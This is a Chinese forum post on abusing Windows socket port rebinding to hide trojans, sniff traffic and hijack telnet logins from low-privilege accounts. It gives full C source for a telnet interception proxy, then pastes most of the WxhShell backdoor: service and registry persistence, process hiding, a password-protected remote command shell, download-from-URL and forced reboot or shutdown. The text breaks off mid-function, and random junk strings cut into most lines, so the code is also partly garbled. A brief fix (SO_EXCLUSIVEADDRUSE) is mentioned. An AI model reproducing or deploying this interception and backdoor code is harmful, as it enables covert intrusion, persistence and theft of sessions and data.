社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16047阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Nb9GrYIS  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }Md;=_TP  
^Y+C!I  
  saddr.sin_family = AF_INET; Q 318a0  
e Bxm  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E X'PRNB,  
x$o^;2Z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); bFajK;  
_ {wP:dI "  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )kI**mI}  
 3TCRCz  
  这意味着什么?意味着可以进行如下的攻击: Ic_NQ<8  
>l AtfN='  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w$9LcN  
2YKa <?_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *@PM,tS;  
j:'g*IxM_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >L!c} Ku  
_9 '_w&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v ;}s`P\"  
EZ|v,1`e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 pk.\IKlG]  
^5Lk}<utw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n6WKk+  
.S-)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &R@([=1  
EmcLW74  
  #include s^eiym P  
  #include YcDKRyrt  
  #include }kr?+)wB  
  #include    HW~-GcU-o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D%yY&q;  
  int main() bz#]>RD  
  { `a MU2  
  WORD wVersionRequested; 9>9EZ?4m  
  DWORD ret; fM"*;LN!N  
  WSADATA wsaData;  =s4(Y  
  BOOL val; W +ER'lX  
  SOCKADDR_IN saddr; p+V#86(3  
  SOCKADDR_IN scaddr; dV'EiNpf  
  int err; *QiQ,~Ep  
  SOCKET s; _,T 4DS6  
  SOCKET sc; -GCo`PR?b  
  int caddsize; <OGG(dI  
  HANDLE mt; If,p!L  
  DWORD tid;   0Z6geBMc  
  wVersionRequested = MAKEWORD( 2, 2 ); I@9'd$YY  
  err = WSAStartup( wVersionRequested, &wsaData ); Is7BJ f  
  if ( err != 0 ) { R'tKJ_VI  
  printf("error!WSAStartup failed!\n"); r niM[7K  
  return -1; 2NMs-Zs  
  } %k1Pyv;]  
  saddr.sin_family = AF_INET; vsj4? 0=  
   ^r&)@R$V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 b@;Wh-{d  
[TFJb+N&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l^Rb%?4Z  
  saddr.sin_port = htons(23); LQ# E+id&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C{zp8 A(Dh  
  { I8 :e `L  
  printf("error!socket failed!\n"); s4"Os gP+  
  return -1; -<6?ISF2  
  } rYr*D[m]  
  val = TRUE; {jz`K1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 bu]"?bc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y!CUUWM  
  { z2uL[deN'"  
  printf("error!setsockopt failed!\n"); Fa )QDBz)  
  return -1; *$<W"@%^J  
  } R^*baiXVI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }LT&BNZj  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?qaWt/m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >SK:b/i  
(6S'wb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  L\PmT  
  { clB K  
  ret=GetLastError(); Q- |Y  
  printf("error!bind failed!\n"); s;Gd`-S>d  
  return -1; u##th8h4U  
  } T^1 Z_|A  
  listen(s,2); 8#7qHT;cx  
  while(1) aZWj52  
  { cQK-Euum  
  caddsize = sizeof(scaddr); _?I{>:!|  
  //接受连接请求 cl%+m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V]p{jLG  
  if(sc!=INVALID_SOCKET) 3x0t[{l  
  { (h3L=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m$W >~  
  if(mt==NULL) E&P2E3P  
  { 4a-JC"  
  printf("Thread Creat Failed!\n"); =n5'~1?X?  
  break; nMyl( kF[  
  } #0P_\X`E   
  } U-I,Q+[C[^  
  CloseHandle(mt); ?Afe }  
  } 3=YpZ\l}  
  closesocket(s); __g k:a>oQ  
  WSACleanup(); -r={P _E6  
  return 0; 4#B'pJMw9  
  }   Y &C b  
  DWORD WINAPI ClientThread(LPVOID lpParam) "B_3<RSL  
  { zsg\|=P  
  SOCKET ss = (SOCKET)lpParam; y?<KN0j  
  SOCKET sc; Qn!mS[l  
  unsigned char buf[4096]; l_^SU8i57  
  SOCKADDR_IN saddr; 1[!v{F%]  
  long num; zw>L0gC  
  DWORD val; )XN_|zCk  
  DWORD ret; ?*fY$93O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vk92j?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b6N[t _,  
  saddr.sin_family = AF_INET; S(zp_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;Bs~E  
  saddr.sin_port = htons(23); C`[<6>&y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8:,($a/KF  
  { K92j BR  
  printf("error!socket failed!\n"); m4mE7Wn.3  
  return -1; @8|*Ndx2  
  } s?w2^<P  
  val = 100; |C [!A  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q!$s<n  
  { +OE!Uqnt  
  ret = GetLastError(); 94"+l@K  
  return -1; .AfZ5s]/F  
  } cFUD$mp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [.gk{> #  
  { vd%g'fTy9  
  ret = GetLastError(); 4)S99|1  
  return -1; LhJUoX  
  } srGOIK.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0MWW( ;  
  { .kT]^rv ;  
  printf("error!socket connect failed!\n"); yLnQ9BXB&  
  closesocket(sc); XX8HSw!w  
  closesocket(ss); vMTf^V  
  return -1; Q(bOar5  
  } tbFAVGcAM  
  while(1) iW5cEI%tb  
  { sQJ\{'g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]r Uj<[O  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 YOl$sgg}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _U s"   
  num = recv(ss,buf,4096,0); F]\ Sk'}&  
  if(num>0) t'n@yX_  
  send(sc,buf,num,0); 3UZd_?JI[^  
  else if(num==0) x-BU$bx5  
  break; @ ^{`!>Vt  
  num = recv(sc,buf,4096,0); Xs0)4U  
  if(num>0) mUBy*.  
  send(ss,buf,num,0); vO}r(kNJ  
  else if(num==0) PG&t~4QM`  
  break; _~<sb,W  
  } e"E8BU  
  closesocket(ss); $.PRav  
  closesocket(sc); A)f-r  
  return 0 ; , >LJpv  
  } dli(ckr  
(` *BZ_  
yw^Pok5.  
========================================================== n1sYD6u<&  
pbH!u+DF  
下边附上一个代码,,WXhSHELL wQhNQ(H~\  
Cj-s  
========================================================== 7Ak<e tHD  
Y^fw37b  
#include "stdafx.h" \ruQx)5M  
GX>8B:]o|  
#include <stdio.h> m5K?oV@n  
#include <string.h> EA"hie7  
#include <windows.h> W$4$%r8  
#include <winsock2.h> Coi[cfg0  
#include <winsvc.h> mY"7/dw<v  
#include <urlmon.h> 8A>OQR  
)DgXsT  
#pragma comment (lib, "Ws2_32.lib") 1 G>Ud6(3<  
#pragma comment (lib, "urlmon.lib") %'Cj~An  
nu0pzq\6  
#define MAX_USER   100 // 最大客户端连接数 G+zhL6]F  
#define BUF_SOCK   200 // sock buffer 8y LcTA$T  
#define KEY_BUFF   255 // 输入 buffer }]x \ `}o  
nLN0zfhE#  
#define REBOOT     0   // 重启 HpnF,4A>  
#define SHUTDOWN   1   // 关机 )w7vE\n3  
F%w! I 9  
#define DEF_PORT   5000 // 监听端口 ,lZ19B?WP  
s<I)THC  
#define REG_LEN     16   // 注册表键长度 AO-5>r  
#define SVC_LEN     80   // NT服务名长度 IMf|/a9-  
5vx 4F f  
// 从dll定义API msl.{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W A/dt2D|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R(1:I@<?E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hA7=:LG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); thjr1y.e  
/ Hr|u  
// wxhshell配置信息 B2;P%B  
struct WSCFG { ?P kJG ,~  
  int ws_port;         // 监听端口 wC1pfXa  
  char ws_passstr[REG_LEN]; // 口令 _*mn4n=  
  int ws_autoins;       // 安装标记, 1=yes 0=no m#_BF#  
  char ws_regname[REG_LEN]; // 注册表键名 AyE*1 FD  
  char ws_svcname[REG_LEN]; // 服务名 @ {/)k%U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "Z.6@ c7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p{Lrv%-j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ynI e4b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]A5F}wV4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ha :l-<a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =pL$*`]?  
jSI1tW8  
}; wHLQfrl0  
E7X6RB b  
// default Wxhshell configuration vjEDd`jYZ  
struct WSCFG wscfg={DEF_PORT, K~L&Z?~|E  
    "xuhuanlingzhe", , $7-SN  
    1, 'O<b'}-A  
    "Wxhshell", q[s,q3n~  
    "Wxhshell", \{h_i FU!  
            "WxhShell Service", { DYY9MG8  
    "Wrsky Windows CmdShell Service", S?688  
    "Please Input Your Password: ", 5CI {&E  
  1, _^iY;&  
  "http://www.wrsky.com/wxhshell.exe", *!QmYH5r0  
  "Wxhshell.exe" Ip t;NlR  
    }; CFpBosoFt^  
j.=:S;  
// 消息定义模块 ?8~l+m6s$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9UM)"I&k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H:.~! r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iw)gNQ%z4  
char *msg_ws_ext="\n\rExit."; !>48`o ^  
char *msg_ws_end="\n\rQuit."; X!KX4H  
char *msg_ws_boot="\n\rReboot..."; Cl0kR3Y  
char *msg_ws_poff="\n\rShutdown..."; +XWTu!  
char *msg_ws_down="\n\rSave to "; ?_eLrz4>L^  
FB6Lz5:Vf  
char *msg_ws_err="\n\rErr!"; 9qap#A  
char *msg_ws_ok="\n\rOK!"; fFJ7Y+^  
?!RbS#QV}  
char ExeFile[MAX_PATH]; f^pBXz9&=  
int nUser = 0; '\bokwsP  
HANDLE handles[MAX_USER]; mERkC,$  
int OsIsNt; Cy-p1s  
)1At/mr  
SERVICE_STATUS       serviceStatus; a6 Vfd&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  a*p|Ij  
13?:a[~=Y  
// 函数声明 t0 e6iof^o  
int Install(void);  VY6G{f  
int Uninstall(void); [UwQi!^-O  
int DownloadFile(char *sURL, SOCKET wsh); /stvNIEa  
int Boot(int flag); 8a6.77c  
void HideProc(void); xp|1yud  
int GetOsVer(void); ^Mq/Cf_T  
int Wxhshell(SOCKET wsl); t|U5]$5  
void TalkWithClient(void *cs); u`v&URM  
int CmdShell(SOCKET sock); By1T um+I1  
int StartFromService(void); 6,q0F*q  
int StartWxhshell(LPSTR lpCmdLine); \&F4Wl>`  
[RBSUOF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "(=g7,I4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pA8bFtt  
Y-it3q'Z  
// 数据结构和表定义 I~l qg  
SERVICE_TABLE_ENTRY DispatchTable[] = sc*R:"  
{ 'Xik2PaO  
{wscfg.ws_svcname, NTServiceMain}, h,\{s_b  
{NULL, NULL} -r *|N.5c  
}; #$UwJB]_D  
onu G  
// 自我安装 d/  Lz"  
int Install(void) kqB# 9  
{ V Rv4p5  
  char svExeFile[MAX_PATH]; uO4 LD}A  
  HKEY key; 3eY>LWx  
  strcpy(svExeFile,ExeFile); 'xS@cF o(  
.>W [  
// 如果是win9x系统,修改注册表设为自启动 R+!U.:-yz  
if(!OsIsNt) { zY/Oh9`=v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xd{.\!q.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i$kB6B#==  
  RegCloseKey(key); 5WI bnV@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d>[i*u,]/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b36{vcs~  
  RegCloseKey(key); "rMfe>;FJ  
  return 0; `R0~mx&6G  
    } !SuflGx,q  
  } <VZ43I  
} 0[UI'2  
else { g;Ugr8  
//NV_^$y  
// 如果是NT以上系统,安装为系统服务 > %KEMlKZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "E+;O,N-  
if (schSCManager!=0) w6Gez~ 8  
{ /T6bc^nOW  
  SC_HANDLE schService = CreateService *Xnf}Ozx  
  ( ?=lb@U  
  schSCManager, U-DQ?OtmC@  
  wscfg.ws_svcname, +E. D:  
  wscfg.ws_svcdisp, bIm4s  
  SERVICE_ALL_ACCESS, 4L>8RiiQE;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e!J5h <:  
  SERVICE_AUTO_START, >r`O@`^U  
  SERVICE_ERROR_NORMAL, 2#NnA3l]x%  
  svExeFile, ObM/~{rKx  
  NULL, {aA6b  
  NULL, <,$*(dX)(  
  NULL, !,ODczWvh  
  NULL, A@o7  
  NULL .4]XR/I$  
  ); A$p&<#  
  if (schService!=0) a=$ZM4Bn  
  { xDeM7L'  
  CloseServiceHandle(schService); aNry> 2:  
  CloseServiceHandle(schSCManager); L4^/O29  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i\lvxbp  
  strcat(svExeFile,wscfg.ws_svcname); ~ 6=6YP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !{ *yWpZ:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qt.4dTd:_  
  RegCloseKey(key); cEf"m ?w  
  return 0; ;G`]`=s#Lq  
    } <k[_AlCmsg  
  } u$tst_y-  
  CloseServiceHandle(schSCManager); gZ&4b'XS,  
} 4U\>TFO  
} W'"hjQ_  
uPl7u 1c  
return 1; ^6# yL6E,~  
} R@grY:h  
z~f;}`0  
// 自我卸载 G\tN(%.f  
int Uninstall(void) Pz*BuL <  
{ @5&57R3>  
  HKEY key; gGE{r}$  
W/A@qo"  
if(!OsIsNt) { psvc,V_*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X"3p/!W.4  
  RegDeleteValue(key,wscfg.ws_regname); Q}Ah{H0C  
  RegCloseKey(key); n7i~^nf>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tX% C5k  
  RegDeleteValue(key,wscfg.ws_regname); ,eTdQI;   
  RegCloseKey(key); _3W .:  
  return 0; EwcFxLa!F  
  } o#"yFP1  
} _*=4xmB.=  
} Ng<ic  
else { #&uajo  
c1kV}-v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (XR}U6^v]  
if (schSCManager!=0) 8Y%  
{ sRLjKi2D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q~"Lyy8  
  if (schService!=0) /Q W^v;^  
  { DNj<:Pdd)  
  if(DeleteService(schService)!=0) { +)h# !/  
  CloseServiceHandle(schService); zEQQ4)mA  
  CloseServiceHandle(schSCManager); rhzI*nwOT  
  return 0; N6kMl  
  } JK,^:tgm  
  CloseServiceHandle(schService); IM6n\EZ^  
  } f4\F:YT  
  CloseServiceHandle(schSCManager); 1c/<2xO~  
} i.^UkN{  
} [qxpu{  
GZ<@#~1%\  
return 1; p-"wY?q  
} >9XG+f66E  
C% z9Q  
// 从指定url下载文件 _s-X5 xU  
int DownloadFile(char *sURL, SOCKET wsh) Y,mo}X<>  
{ .z$UNB(!M  
  HRESULT hr; p\I3fI0i  
char seps[]= "/"; U(+QrC:  
char *token; _ \+0e:Ae  
char *file; ?mV2|;  
char myURL[MAX_PATH];  W;yg{y   
char myFILE[MAX_PATH]; 5Th\wTh04  
T__@hfT  
strcpy(myURL,sURL); {|%^'lS  
  token=strtok(myURL,seps); ej7N5~!,s  
  while(token!=NULL) 6}@T^?  
  { AvIheR  
    file=token; .FYRi_Zd  
  token=strtok(NULL,seps); r.@UH-2c  
  } q~18JB4WPJ  
=|O]X|y-lZ  
GetCurrentDirectory(MAX_PATH,myFILE); >yenuqIKQv  
strcat(myFILE, "\\"); b* n#XTV  
strcat(myFILE, file); H9_>a-> )~  
  send(wsh,myFILE,strlen(myFILE),0); wBI:}N@.  
send(wsh,"...",3,0); IN;!s#cl:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UC`sq-n  
  if(hr==S_OK) CXu$0DQ(  
return 0; ,: z]15fX  
else Grw[h  
return 1; 2fayQY xD  
%26HB w=JF  
} <b4} B   
_;x`6LM  
// 系统电源模块 aFnyhu&W'  
int Boot(int flag) ~6u|@pnI  
{ cWQ &zc  
  HANDLE hToken; ;eFV}DWW  
  TOKEN_PRIVILEGES tkp; taVK&ohWx  
B}y#AVSA  
  if(OsIsNt) { 4ke.p<dG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a~VW?wq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <vs*aFq  
    tkp.PrivilegeCount = 1; !oRN,m[7)p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Pr1OQbg]8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {R7RBX  
if(flag==REBOOT) { M_?B*QZJI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) blG?("0!  
  return 0; I8W9Kzf  
} :[PA.Upi  
else { hOqNZ66{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -e51 /lhpd  
  return 0; Q[!?SSX%  
} v!S(T];)  
  } ykx13|iR  
  else { KLj/,ehD !  
if(flag==REBOOT) { MD 0d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) INCanE`+  
  return 0; !t)uRJ   
} ls "Z4v(L6  
else { iF:NDqc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) frQ=BV5%6  
  return 0; EN>a^B+!  
} -G1R><8[  
} Uu`}| &@i  
]]u_Mdk  
return 1; rJp9ut'FEz  
} o9{1_7K  
NP.qh1{NP  
// win9x进程隐藏模块  j)mS3#cH  
void HideProc(void) E_z,%aD[  
{ ! OVi\v 'm  
je:J`4k$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |<8g 2A{X  
  if ( hKernel != NULL ) 2fm6G).m  
  { =(<7o_gJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @71y:)W<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); > JTf0/  
    FreeLibrary(hKernel); % 5!Y#$:{o  
  } : T4ap_Ycq  
v49 i.c9  
return; 1 !.P H   
} =*?XZA)c  
nwDW<J{f|U  
// 获取操作系统版本 ^sJp!hi4=)  
int GetOsVer(void) N9H qFp  
{ od vUU#l  
  OSVERSIONINFO winfo; ~a>3,v -  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ac>G F  
  GetVersionEx(&winfo); -zH-9N*c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TU| 0I  
  return 1; Pj^Ccd'>=  
  else >u `Ci>tY  
  return 0; Nc(A5*  
} nzB!0U  
]#rmk!VT?  
// 客户端句柄模块 ZI!;~q  
int Wxhshell(SOCKET wsl) O4W 2X@  
{ XQ Si  
  SOCKET wsh; |L)qH"Eo  
  struct sockaddr_in client; ?`SB GN;  
  DWORD myID; rN~V^k  
\7(OFT\u:  
  while(nUser<MAX_USER) JkNRXC:  
{ OH5#.${O  
  int nSize=sizeof(client); u])MI6LF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I\82_t8  
  if(wsh==INVALID_SOCKET) return 1; 2$ \#BG  
(>om.FM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Nm0|U.<  
if(handles[nUser]==0) cl'qw##  
  closesocket(wsh); 0te[i*G  
else yA<\?Ps  
  nUser++; I]~UOl  
  } i:^ 8zW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *pGbcBQ  
J s,.$t  
  return 0; `b5pa`\4  
} Ed"p|5~  
;uU 8$  
// 关闭 socket o PA m*  
void CloseIt(SOCKET wsh) }Do$oyAV$G  
{ V#-8[G6Ra  
closesocket(wsh); E-#}.}i5  
nUser--; a&`Lfw"  
ExitThread(0); LkJ-M=y  
} )}\J    
i~*#z&4A+  
// 客户端请求句柄 z0tm3ovp  
void TalkWithClient(void *cs) PkdL] !:  
{ Kx,<-]4  
,NU`aG-  
  SOCKET wsh=(SOCKET)cs; *i7|~q/u  
  char pwd[SVC_LEN]; MJ@PAwv"  
  char cmd[KEY_BUFF]; rge/qUr/^  
char chr[1]; /3 ;t &]  
int i,j; SDW!9jm>R  
vQ DlS1L  
  while (nUser < MAX_USER) { eq36mIo  
cfW;gFf  
if(wscfg.ws_passstr) { k`,>52  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^{+_PWn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?w"zW6U  
  //ZeroMemory(pwd,KEY_BUFF); k Rp$[^ma  
      i=0; }$'T=ay&  
  while(i<SVC_LEN) { 6.QzT(  
.u9,w  
  // 设置超时 09HqiROw  
  fd_set FdRead; !JwR[X\f  
  struct timeval TimeOut; k!wEPi]  
  FD_ZERO(&FdRead); ~@VyJT%  
  FD_SET(wsh,&FdRead); 140_WV?7  
  TimeOut.tv_sec=8; ygTc Y  
  TimeOut.tv_usec=0; m3Rss~l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D3;#:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DqBiBH[%h  
mp>Ne6\Tu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CF@j]I@{   
  pwd=chr[0]; 8}!WJ2[R  
  if(chr[0]==0xd || chr[0]==0xa) { hdH}4W  
  pwd=0; /.[78:G\,  
  break; n]P,5  
  } ]hi5 nA  
  i++; WQYw@M~4Q!  
    } e[L%M:e9U  
#uH%J<U  
  // 如果是非法用户,关闭 socket (wZ/I(4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4#w Z#}  
} T [2l32  
- |&&lxrwh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hxuc4C\J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :pgpE0  
:0j_I\L  
while(1) { rIWQD%Afm  
%8g1h)F"S  
  ZeroMemory(cmd,KEY_BUFF); r/mKuGa]  
'C<4{agS  
      // 自动支持客户端 telnet标准   c`_[q{(^m  
  j=0; \zyvu7YA  
  while(j<KEY_BUFF) { OOj }CZ6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2umgF  
  cmd[j]=chr[0]; 96S#Q*6+R  
  if(chr[0]==0xa || chr[0]==0xd) { :5BVVa0oR  
  cmd[j]=0; QNgfvy  
  break; 8{4jlL;"`?  
  } }:hN}*H  
  j++; mvt%3zCB!  
    } rl](0"Y0 t  
6Y&`mgMF'  
  // 下载文件 P jh3=Dr  
  if(strstr(cmd,"http://")) { }w/6"MJ[n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |#`qP^E  
  if(DownloadFile(cmd,wsh)) L~>~a1p!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oD&axNk  
  else zP|^) h5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y4I;-&d's  
  } 58o'Q  
  else { ]}0QrD  
q jmlwVw  
    switch(cmd[0]) { *VgiJ  
  XMw*4j2E  
  // 帮助 >K-S&Y  
  case '?': { QNm8`1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j )b[7%  
    break; gano>W0  
  } i9j#Tu93 f  
  // 安装 fu $<*Sa2  
  case 'i': { LF\HmKM,  
    if(Install()) bOS; 1~~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /K\]zPq  
    else EK$3T5e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nv/'C=+L  
    break; )@[##F2  
    } ?_nbaFQK3  
  // 卸载 gis;)al  
  case 'r': { IcP\#zhEv  
    if(Uninstall()) &*8_w-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VQwF9Iq]`  
    else Z=j6c"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o3=pxU*  
    break; =WM^i86  
    } 5V@c~1\  
  // 显示 wxhshell 所在路径 Wg!JQRHtT  
  case 'p': { {Etvu  
    char svExeFile[MAX_PATH]; 0*yD   
    strcpy(svExeFile,"\n\r"); cZlDdr%  
      strcat(svExeFile,ExeFile); Lv m"!!  
        send(wsh,svExeFile,strlen(svExeFile),0); )uu1AbT +e  
    break; 9vI<\ Xa  
    } = 4 wf  
  // 重启 ?Es(pwJB  
  case 'b': { YML]pNB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bfX yuv  
    if(Boot(REBOOT)) u4vyj#V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uJ T^=Y  
    else { @p ZjJ<9QM  
    closesocket(wsh); omzG/)M:O  
    ExitThread(0); K2 6`wt  
    } x ?24oO  
